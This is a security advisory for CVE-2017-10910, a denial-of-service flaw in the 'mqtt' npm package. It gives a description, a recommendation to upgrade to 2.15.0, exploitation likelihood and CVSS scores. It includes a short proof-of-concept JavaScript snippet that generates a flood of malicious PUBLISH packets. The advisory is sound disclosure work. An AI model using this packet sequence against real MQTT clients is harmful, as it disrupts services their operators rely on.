CVE-2017-10910
Denial of Service in mqtt
Description
Affected versions of `mqtt` do not properly handle PUBLISH packets returning from the server, leading to a Denial of Service condition. The vulnerability is completely mitigated if the only connected servers are trusted, guaranteed not to be under the control of a malicious actor. ## Proof of Concept The following is a demonstration of how to generate the malicious packet sequence, but does not include information on handling the initial network connections and MQTT overhead. ``` var mqttp = require('mqtt-packet'); var packets = []; for(var i=0; i<=1000;i++){ packets.push( mqttp.generate({ cmd:'publish', topic:Buffer.from('hello'), payload:Buffer.from('world'), retain: false, dup: false, messageId: ++i, qos: 1 }) ) } ``` ## Recommendation Update to version 2.15.0 or later.
How to fix CVE-2017-10910
To remediate CVE-2017-10910, upgrade the affected package to a fixed version below.
- —upgrade to 2.15.0 or later
Is CVE-2017-10910 being exploited?
Low — EPSS is 0.8%, meaning exploitation activity has not been observed at scale.
Affected packages (1)
- >= 2.0.0, < 2.15.0
CVSS scores
| Source | Version | Severity | Vector |
|---|---|---|---|
| osv | CVSS 3.1 | MEDIUM6.5 | CVSS:3.0/AV:N/AC:L/PR:L/UI:N/S:U/C:N/I:N/A:H |